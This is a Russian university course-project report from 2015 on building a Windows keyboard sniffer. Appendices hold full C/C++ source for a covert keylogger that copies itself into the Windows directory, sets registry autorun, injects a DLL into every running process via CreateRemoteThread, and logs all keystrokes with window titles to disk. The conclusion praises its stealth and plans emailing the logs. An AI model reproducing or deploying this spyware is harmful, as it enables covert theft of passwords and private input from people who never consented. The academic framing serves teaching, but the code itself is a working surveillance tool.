Главная страница

Клавиатурный шпион. Курсовая_Работа_Клавиатурный_Сниффер. Сниффер клавиатуры


Скачать 337 Kb.
НазваниеСниффер клавиатуры
АнкорКлавиатурный шпион
Дата14.01.2023
Размер337 Kb.
Формат файлаdocx
Имя файлаКурсовая_Работа_Клавиатурный_Сниффер .docx
ТипПояснительная записка
#885664

Министерство образования Республики Беларусь
Учреждение образования

БЕЛОРУССКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ

ИНФОРМАТИКИ И РАДИОЭЛЕКТРОНИКИ
Факультет компьютерных систем и сетей

Кафедра электронных вычислительных машин


ПОЯСНИТЕЛЬНАЯ ЗАПИСКА

к курсовому проекту

на тему

СНИФФЕР КЛАВИАТУРЫ

БГУИР КП 1-40 02 01 01 023 ПЗ


Студент группы 350501: Шешко В.Р.

Руководитель: Яночкин А.Л.


МИНСК 2015



ВВЕДЕНИЕ 3

1.ОБЗОР ЛИТЕРАТУРЫ 4

1.1Спецификация клавиатурных снифферов 4

1.2 Наиболее популярные технические подходы к построению программных клавиатурных снифферов. 4

2.СИСТЕМНОЕ ПРОЕКТИРОВАНИЕ 7

2.1 Способ взаимодействия пользователя и программы. 7

2.2 Структурная схема программы 7

3.ФУНКЦИОНАЛЬНОЕ ПРОЕКТИРОВАНИЕ 9

3.1 Низкоуровневый хук 9

3.2 Процедура установки программы 10

3.3 Процедура инжекции библиотеки 10

3.4 Процедура получения снимка процессов 10

4.РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ 12

5.ТЕСТИРОВНИЕ ПРОГРАММЫ 13

ЗАКЛЮЧЕНИЕ 14

Список литературы 15

Листинг кода исполняемого файла: 16

Листинг кода инжектируемой библиотеки: 19

ПРИЛОЖЕНИЕ Б 25

ПРИЛОЖЕНИЕ В 26



ВВЕДЕНИЕ



Общество, в котором живет современный человек, характеризуют как информационное. Компьютеры получают все более широкое применение – даже там, где, как казалось совсем недавно, их применить невозможно. Информационные технологии и их знание становится неотъемлемой частью жизни любого человека, и в основу применения этих технологий также легло применение компьютера.

Сегодня большая часть работы выполняется с использованием компьютера: электронных документов, файлов, программ и сайтов. Неудивительно, что хронометраж рабочего времени за компьютером так популярен сейчас. С его помощью можно проанализировать рабочий процесс и выявить резервы времени.

Учет деятельности за компьютером — дешевый и полностью объективный способ. Он идеально подходит для офисного персонала, который большую часть времени проводит на рабочем месте за компьютером.

Снифферы клавиатуры принадлежат к той группе программных продуктов, которые осуществляют контроль над деятельностью пользователя персонального компьютера. Программные продукты этого типа предназначаются исключительно для записи информации о нажатиях клавиш клавиатуры, в том числе и системных, в специализированный журнал регистрации (лог-файл), который впоследствии изучается человеком, установившим эту программу.


  1. ОБЗОР ЛИТЕРАТУРЫ

В этом разделе будут рассмотрены основные теоретические сведения, необходимые для создания программы «Сниффер клавиатуры».


    1. Спецификация клавиатурных снифферов

Клавиатурный сниффер — это программное обеспечение или аппаратное устройство, регистрирующее нажатия клавиш на клавиатуре компьютера.

Клавиатурные снифферы подразделяются на аппаратные и программные. Первые представляют собой небольшие устройства, которые могут быть закреплены на клавиатуре, проводе или в системном блоке компьютера. Вторые — это специально написанные программы, предназначенные для отслеживания нажатий клавиш на клавиатуре и ведения журнала нажатых клавиш. Принципиальная идея сниффера состоит в том, чтобы внедриться между любыми двумя звеньями в цепи прохождения сигнала от нажатия пользователем клавиш на клавиатуре до появления символов на экране.[3]

1.2 Наиболее популярные технические подходы к построению программных клавиатурных снифферов.


  • системная ловушка на сообщения о нажатии клавиш клавиатуры (устанавливается с помощью функции WinAPI SetWindowsHook, для того чтобы перехватить сообщения, посылаемые оконной процедуре.

  • циклический опрос клавиатуры (с помощью функции WinAPI Get(Async)KeyState, GetKeyboardState).

  • драйвер-фильтр стека клавиатурных драйверов ОС Windows.

Кейлоггеры могут внедряться в любом месте последовательности обработки, перехватывая данные о нажатых клавишах, передаваемые одной подсистемой обработки следующей подсистеме в цепочке обработчиков.[5]

Установка ловушки для клавиатурных сообщений

Это самый распространенный метод реализации клавиатурных снифферов. Посредством вызова функции SetWindowsHookEx сниффер устанавливает глобальную ловушку на клавиатурные события для всех потоков в системе. Фильтрующая функция ловушки в этом случае располагается в отдельной динамической библиотеке, которая внедряется во все процессы системы, занимающиеся обработкой сообщений. При выборке из очереди сообщений любого потока клавиатурного сообщения система вызовет установленную фильтрующую функцию.

К достоинствам этого метода перехвата относится простота и гарантированный перехват всех нажатий клавиатуры, из недостатков можно отметить необходимость наличия отдельного файла динамической библиотеки и относительную простоту обнаружения по причине внедрения во все системные процессы.[5]

Использование циклического опроса состояния клавиатуры

Состояние всех клавиш с небольшим интервалом опрашивается с помощью функций GetAsynсKeyState или GetKeyState. Данные функции возвращают массивы асинхронного или синхронного состояния клавиш; анализируя их, можно понять, какие клавиши были нажаты или отпущены после последнего опроса.

Достоинства данного метода — предельная простота реализации, отсутствие дополнительного модуля недостатки — отсутствие гарантии обнаружения всех нажатий, могут быть пропуски; легко обнаруживается мониторингом процессов, опрашивающих клавиатуру с высокой частотой.[5]

Использование драйвер-фильтра драйвера класса клавиатуры Kbdclass

Документированный в DDK способ перехвата. Снифферы, построенные на основе этого метода, перехватывают запросы к клавиатуре посредством установки фильтра поверх устройства «\Device\KeyboardClass0», созданного драйвером Kbdclass. Фильтруются только запросы типа IRP_MJ_READ, поскольку именно они позволяют получить коды нажатых и отпущенных клавиш.

Достоинства — гарантированный перехват всех нажатий, невозможность обнаружения без использования драйвера. Недостатки — необходимость установки собственного драйвера.[3]

При выборе средств для разработки приложения необходимо учесть множество различных аспектов, наиболее важным из которых является язык программирования, так как он в значительной степени определяет другие доступные средства. Для реализации клавиатурного сниффера наиболее эффективным будет использование языков программирования C и C++. Они предоставляют все средства для создания приложения для операционных систем семейства Windows X.


  1. СИСТЕМНОЕ ПРОЕКТИРОВАНИЕ

Данный проект включает в себя непосредственно два модуля: модуль для установки и инжекции динамической библиотеки и сама динамическая библиотека.

Для проектирования приложения были определены задачи, которые должна выполнять программа:

  • Отслеживание нажатий клавиш

  • Инжекция программы в сторонние процессы

  • Установка программы

2.1 Способ взаимодействия пользователя и программы.


Для взаимодействия пользователя с программой был разработан интуитивно понятный интерфейс лог-файлов.

Рассмотрим взаимодействия пользователя с программой. Для запуска и установки программы требуется запустить исполняющий файл программы от имени администратора. Программа автоматически установится на компьютер и запустится, начав писать лог-файлы. После чего работа с программой сводится к анализу лог-файлов.

2.2 Структурная схема программы


Д
ля реализации поставленных задач, приложение разделили на следующие блоки:

Рисунок 3.2.1 – Схема взаимодействия блоков
- Блок установки программы

- Блок инжекции библиотеки

- Блок установки хука

- Блок создания лог-файлов

Блок установки программы служит для копирования исполняемого файла и рядом лежащей библиотеки из текущей директории в директорию операционной системы. Исполняемый файл заносится в автозагрузку.

Блок инжекции библиотеки в момент выполнения программы создает снимок всех текущих процессов. После чего во все процессы производится инжекция отслеживающей библиотеки.

Блок установки хука служит для установки низкоуровневого хука. Записи информации об активности пользователя в лог-файлы.

  1. ФУНКЦИОНАЛЬНОЕ ПРОЕКТИРОВАНИЕ

Данный раздел включает в себя описание основных методов программы и их листинги.

3.1 Низкоуровневый хук


LRESULT CALLBACK LowLevelKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) - система вызывает эту функцию каждый раз, когда собирается вставить новое событие ввода с клавиатуры в очередь ввода данных потока. Ввод с клавиатуры может исходить от локального драйвера клавиатуры или от вызовов функции keybd_event.

wParam [in] Устанавливает идентификатор сообщения клавиатуры.

lParam [in] Указатель на структуру KBDLLHOOKSTRUCT.

Данная функция обрабатывает только события нажатия клавиш и события нажатия системных клавиш.

if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))

При вызове функции LowLevelKeyboardHook проверяется текущее состояние активного окна: id потока и название окна. Если текущее состояние не соответствует состоянию активного окна при пошлом вызове функции, то данное изменение записывается в лог-файл.

Для полуения информации о нажатой клавише были разработаны функции getCharKey, getSysKey, они возвращают значения true при нажатии клавиши-символа и системной клавиши соответственно.

if (getSysKey(ks->vkCode))

{ … }

else if (getCharKey(ks->vkCode, ks->scanCode, (LPWORD) buf, winID))

{ … }

else

{ … }

Для получения информации о нажатых клавишах используется структура KBDLLHOOKSTRUCT. Она содержит информацию о низкоуровневом событии ввода данных с клавиатуры.

3.2 Процедура установки программы


Для установки приложения была разработана функция bool Install(char* injectionDllName). – данная функция копирует исполняемый файл и инжектируемую библиотеку в директорию операционной системы и устанавливает программу в автозагрузку. Возвращает значение true при успешной установке, при ошибке возвращает значение false.

injectionDllName – имя инжектируемой библиотеки, которая должна находится рядом с исполняемым файлом.

3.3 Процедура инжекции библиотеки


Инжекция библиотеки производится с помощью функции bool Inject(DWORD pId, char *dllName) – функция открывает существующий объект процесса с идентификатором процесса pId.

Далее загружается адрес функции LoadLibraryA из динамической библиотеки kernel32.dll. После чего в открытом процессе выделяется память для инжектируемой библиотеки, и инжектируемая библиотека записывается в адресное пространство открытого процесса. Дистанционно создается новый поток в открытом процессе, выполняющий код инжектируемой библиотеки. Возвращает значение true при успешной инжекции, при ошибке возвращает значение false.

DWORD pId – идентификатор процесса для инжекции.

char *dllName – имя инжектируемой библиотеки.

3.4 Процедура получения снимка процессов


HANDLE WINAPI CreateToolhelp32Snapshot (DWORD dwFlags, DWORD th32ProcessID) - моментальный снимок из указанных процессов, а также кучи, модулей и потоков, используемые этими процессами.

DWORD dwFlags – части системы, которые будут включены в снимок. Для получения снимка всех процессов — это параметр должен устанавливаться в TH32CS_SNAPPROCESS.

DWORD th32ProcessID – для dwFlags TH32CS_SNAPPROCESS этот параметр игнорируется.

Если функция завершается успешно, она возвращает открытый дескриптор к указанному снимку.

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

if (hProcessSnap == INVALID_HANDLE_VALUE)

return FALSE;

pe32.dwSize = sizeof(PROCESSENTRY32);

do {

if (!Process32Next(hProcessSnap, &pe32))

return FALSE;

if (Inject(pe32.th32ProcessID, dllPath))

std::cout << "Injection success:" << pe32.szExeFile << std::endl;

} while (true);

  1. РУКОВОДСТВО ПОЛЬЗОВАТЕЛЯ

Для установки приложения требуется запустить исполняемый файл программы. В результате программа установится на компьютер и при каждой загрузке компьютера будет запускаться автоматически.

Рассмотри работу с лог-файлами программы.



Рисунок 5.1 лог-файл

При изменении активного окна или заголовка активного окна, в лог-файл записывается заголовок окна и идентификатор процесса. В случае нажатии клавиши на клавиатуре, в лог файл записывается время нажатия и соответствующий символ. При нажатии на системные клавиши, в лог файл записывается время нажатия, соответствующее название клавиши в квадратных скобках. Данные записи позволяет собрать полную информацию о работе пользователя.

  1. ТЕСТИРОВНИЕ ПРОГРАММЫ

Для тестирования был использован аналог разрабатываемого приложения - программа Free-Key-L0gger v3.9.

Запустим приложение “Сниффер Кливиатуры” и “Free-Key-L0gger v3.9”.

В поле адреса браузер Mozilla Firefox введем тестовую строку “qwrt1234567890” и дважды нажмем системную клавишу Left. После чего сравним результаты работы двух программ.

Результат работы “Free-Key-L0gger v3.9”:



Результат работы “Сниффер клавиатуры”:



Анализируя результаты работы двух приложений, можно сделать вывод, что записанная информация об активности пользователя идентична.

Программа работает корректно.

ЗАКЛЮЧЕНИЕ


В ходе выполнения курсового проекта были спроектирована и разработана программ для отслеживания и записи активности пользователя “Сниффер клавиатуры”. Приложение способно отслеживать нажатие клавиш и изменение текущего окна, также приложение способно работать незаметно для пользователя, не вызывая подозрений.

В будущем планируется расширение функционала приложения, возможность отправки информации об активности пользователя на почту, сохранение информации в базе данных, для более удобной работы, поиска, сортировки информации.

В ходе разработки данного проекта, были получены обширные знания в разработке системного программного обеспечения для Windows.

Список литературы





  1. Э. Таненбаум. Современные операционные системы, 3-е издание : Издательство: Питер, 2010. – 1116 с.

  2. Кейлогер— Википедия [Электронный ресурс]. – Электронные данные. – https://ru.wikipedia.org/wiki/Кейлогер.

  3. Клавиатурные шпионы. Варианты реализации кейлоггеров в ОС Windows.[Электронный ресурс]. – Электронные данные. - https://securelist.ru/analysis/77/klaviaturny-e-shpiony-varianty-realiz/.

  4. DLL injection— Wikipedia[Электронный ресурс]. – Электронные данные. – https://ru.wikipedia.org/wiki/DLL_injection.

  5. Клавиатурные шпионы (кейлоггеры) [Электронный ресурс]. – Электронные данные. - http://www.cyberguru.ru/operating-systems/windows-security/keyloggers-page17.html


ПРИЛОЖЕНИЕ А

Листинг кода исполняемого файла:



#define _CRT_SECURE_NO_WARNINGS

#include

#include

#include

#include
bool Inject(DWORD pId, char *dllName);

bool Install(char* injectionDllName);

int main(int argc, char** argv)

{

HANDLE hProcessSnap;

PROCESSENTRY32 pe32;

char szFilename[] = "";

char *injectionDllName = "\\InjectionDll.dll";

char dllPath[MAX_PATH];
GetWindowsDirectory(dllPath, MAX_PATH);

strcat(dllPath, injectionDllName);
std::cout << "Install:" << std::endl;

if (Install(injectionDllName))

std::cout << "success." << std::endl;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

if (hProcessSnap == INVALID_HANDLE_VALUE)

return FALSE;

pe32.dwSize = sizeof(PROCESSENTRY32);

do {

if (!Process32Next(hProcessSnap, &pe32))

{

//std::cout << "Can't find Process:"<< szFilename << std::endl;

Sleep(10000);

return FALSE;

}

if (Inject(pe32.th32ProcessID, dllPath))

std::cout << "Injection success:" << pe32.szExeFile << std::endl;

} while (/*lstrcmpi(pe32.szExeFile, szFilename)*/true);
//Sleep(10000);

return 0;

}
bool Install(char* injectionDllName)

{

HKEY hk;

char currentPath[MAX_PATH],

sysbuf[MAX_PATH],

*fileName;
GetModuleFileName(GetModuleHandle(NULL), currentPath, MAX_PATH);

fileName = strrchr(currentPath, '\\');

GetWindowsDirectory(sysbuf, MAX_PATH);

strcat(sysbuf, fileName);

if (!CopyFile(currentPath, sysbuf, false))

{

std::cout << "Error: Can't copy file:" << std::endl;

std::cout << sysbuf << std::endl;

return false;

}
if (ERROR_SUCCESS == RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk))

{

RegSetValueEx(hk, "KeyLogger", 0, REG_SZ, (LPBYTE) sysbuf, strlen(sysbuf));

RegCloseKey(hk);

}

else

{

std::cout << "Error: Can't create RegKey." << std::endl;

return false;

}
GetModuleFileName(GetModuleHandle(NULL), currentPath, MAX_PATH);

GetWindowsDirectory(sysbuf, MAX_PATH);

strcpy(fileName, injectionDllName);

strcat(sysbuf, fileName);

if (!CopyFile(currentPath, sysbuf, false))

{

std::cout << "Error: Can't copy file:" << std::endl;

std::cout << sysbuf << std::endl;

return false;

}

return true;

}
bool Inject(DWORD pId, char *dllName)

{

HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, false, pId);

if (h)

{

LPVOID LoadLibAddr = (LPVOID) GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

if (LoadLibAddr == NULL) {

std::cout << "Error: the LoadLibraryA function was not found inside kernel32.dll library.\n" << std::endl;

//Sleep(10000);

return false;

}

LPVOID dereercomp = VirtualAllocEx(h, NULL, strlen(dllName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (dereercomp == NULL) {

std::cout << "Error: the memory could not be allocated inside the chosen process.\n" << std::endl;

//Sleep(10000);

return false;

}

int n = WriteProcessMemory(h, dereercomp, dllName, strlen(dllName), NULL);

if (n == 0) {

std::cout << "Error: there was no bytes written to the process's address space.\n" << std::endl;

//Sleep(10000);

return false;

}

HANDLE asdc = CreateRemoteThread(h, NULL, NULL, (LPTHREAD_START_ROUTINE) LoadLibAddr, dereercomp, 0, NULL);

if (asdc == NULL) {

printf("Error: the remote thread could not be created.\n");

//Sleep(10000);

return false;

}

//WaitForSingleObject(asdc, INFINITE);

//VirtualFreeEx(h, dereercomp, strlen(dllName), MEM_RELEASE);

//CloseHandle(asdc);

//CloseHandle(h);

return true;

}

std::cout << "Error: Can't open process:" << pId << std::endl;

//Sleep(10000);

return false;

}

Листинг кода инжектируемой библиотеки:



#define _CRT_SECURE_NO_WARNINGS

#include

#include

#define MAX_BUFSIZE 30

#define MAX_MODULE_NAME 260
HANDLE file;

HHOOK hook;

DWORD prevWinID = NULL;

CHAR prevModuleName[MAX_MODULE_NAME],

g_buf[MAX_BUFSIZE],

glPath[] = "D:\\";
BOOL getCharKey(const DWORD vkCode, const DWORD scanCode, LPWORD ch, const DWORD winID)

{

BYTE keyState[256];

GetKeyboardState(keyState);

return ToAsciiEx(vkCode, scanCode, keyState, ch, 0, GetKeyboardLayout(winID)) == 1;

}
BOOL getSysKey(const DWORD vkCode)

{

char * buf = g_buf + strlen(g_buf);

switch (vkCode)

{

case VK_F1: strcpy(buf, "[F1]\r\n"); break;

case VK_F2: strcpy(buf, "[F2]\r\n"); break;

case VK_F3: strcpy(buf, "[F3]\r\n"); break;

case VK_F4: strcpy(buf, "[F4]\r\n"); break;

case VK_F5: strcpy(buf, "[F5]\r\n"); break;

case VK_F6: strcpy(buf, "[F6]\r\n"); break;

case VK_F7: strcpy(buf, "[F7]\r\n"); break;

case VK_F8: strcpy(buf, "[F8]\r\n"); break;

case VK_F9: strcpy(buf, "[F9]\r\n"); break;

case VK_F10: strcpy(buf, "[F10]\r\n"); break;

case VK_F11: strcpy(buf, "[F11]\r\n"); break;

case VK_F12: strcpy(buf, "[F12]\r\n"); break;

case VK_BACK: strcpy(buf, "[BACK]\r\n"); break;

case VK_TAB: strcpy(buf, "[TAB]\r\n"); break;

case VK_RETURN: strcpy(buf, "[RET]\r\n"); break;

case VK_RCONTROL: strcpy(buf, "[RCTRL]\r\n"); break;

case VK_LCONTROL: strcpy(buf, "[CTRL]\r\n"); break;

case VK_ESCAPE: strcpy(buf, "[ESC]\r\n"); break;

case VK_SPACE: strcpy(buf, "[SPACE]\r\n"); break;

case VK_RSHIFT: strcpy(buf, "[RSHIFT]\r\n"); break;

case VK_LSHIFT: strcpy(buf, "[SHIFT]\r\n"); break;

case VK_CAPITAL: strcpy(buf, "[CAPSLOCK]\r\n"); break;

case VK_DELETE: strcpy(buf, "[DELETE]\r\n"); break;

case VK_INSERT: strcpy(buf, "[INSERT]\r\n"); break;

case VK_LWIN: strcpy(buf, "[WIN]\r\n"); break;

case VK_RWIN: strcpy(buf, "[RWIN]\r\n"); break;

case VK_UP: strcpy(buf, "[UP]\r\n"); break;

case VK_DOWN: strcpy(buf, "[DOWN]\r\n"); break;

case VK_LEFT: strcpy(buf, "[LEFT]\r\n"); break;

case VK_RIGHT: strcpy(buf, "[RIGHT]\r\n"); break;

case VK_HOME: strcpy(buf, "[HOME]\r\n"); break;

case VK_END: strcpy(buf, "[END]\r\n"); break;

case VK_PRIOR: strcpy(buf, "[PGDN]\r\n"); break;

case VK_NEXT: strcpy(buf, "[PGUP]\r\n"); break;

case VK_LMENU: strcpy(buf, "[ALT]\r\n"); break;

case VK_RMENU: strcpy(buf, "[RALT]\r\n"); break;

default: return FALSE;

}

return TRUE;

}
LRESULT CALLBACK LowLevelKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)

{

GetKeyState(NULL);

if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))

{

DWORD written;

KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*) lParam;

SYSTEMTIME st;

CHAR moduleName[MAX_MODULE_NAME];

DWORD winID = NULL;

HWND activeWindow = GetForegroundWindow();

GetWindowThreadProcessId(activeWindow, &winID);

GetWindowText(activeWindow, moduleName, MAX_MODULE_NAME);

if (winID != prevWinID || strcmp(moduleName, prevModuleName))

{

prevWinID = winID;

strcpy(prevModuleName, moduleName);

sprintf(moduleName + strlen(moduleName), " : %d", winID);

strcat(moduleName, "\r\n");

WriteFile(file, moduleName, strlen(moduleName), &written, NULL);

}
GetLocalTime(&st);

GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &st, NULL, g_buf, MAX_BUFSIZE);

strcat(g_buf, " ");

char * buf = g_buf + strlen(g_buf);

if (getSysKey(ks->vkCode))

{

WriteFile(file, g_buf, strlen(g_buf), &written, NULL);

}

else if (getCharKey(ks->vkCode, ks->scanCode, (LPWORD) buf, winID))

{

strcpy(buf + 1, "\r\n");

WriteFile(file, g_buf, strlen(g_buf), &written, NULL);

}

else

{

strcat(g_buf, "[unknown]\r\n");

WriteFile(file, g_buf, strlen(g_buf), &written, NULL);

}

}
if (GetKeyState(VK_LSHIFT) & GetKeyState(VK_RSHIFT) & 0x0100)

PostQuitMessage(0);
return CallNextHookEx(hook, nCode, wParam, lParam);

}
bool CreateLogFile()

{

CHAR fileName[MAX_PATH];

SYSTEMTIME st;

DWORD fileNum = 1;

GetLocalTime(&st);

GetDateFormat(LOCALE_SYSTEM_DEFAULT, 0, &st, "dd.MM.yy", fileName, MAX_PATH);

char * ptrAfterSyl_ = fileName + strlen(fileName) + 1;

strcat(fileName, "_1.txt");

char path[MAX_PATH];

strcpy(path, glPath);

strcat(path, fileName);

file = CreateFile(path, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

while (GetLastError() == ERROR_FILE_EXISTS)

{

fileNum++;

wsprintf(ptrAfterSyl_, "%d", fileNum);

strcat(fileName, ".txt");

strcpy(path, glPath);

strcat(path, fileName);

file = CreateFile(path, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

}

return file != INVALID_HANDLE_VALUE;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

HANDLE mutex = CreateMutex(NULL, FALSE, "KeyboardLogger");

if (GetLastError() == ERROR_ALREADY_EXISTS || GetLastError() == ERROR_ACCESS_DENIED)

return 1;

if (!CreateLogFile()){

ReleaseMutex(mutex);

return 1;

}

HINSTANCE instance = GetModuleHandle(NULL);

hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardHook, instance, 0);
MSG msg;

while (GetMessage(&msg, 0, 0, 0)){

TranslateMessage(&msg);

DispatchMessage(&msg);}
ReleaseMutex(mutex);

UnhookWindowsHookEx(hook);

CloseHandle(file);

return TRUE;}

ПРИЛОЖЕНИЕ Б

ПРИЛОЖЕНИЕ В


написать администратору сайта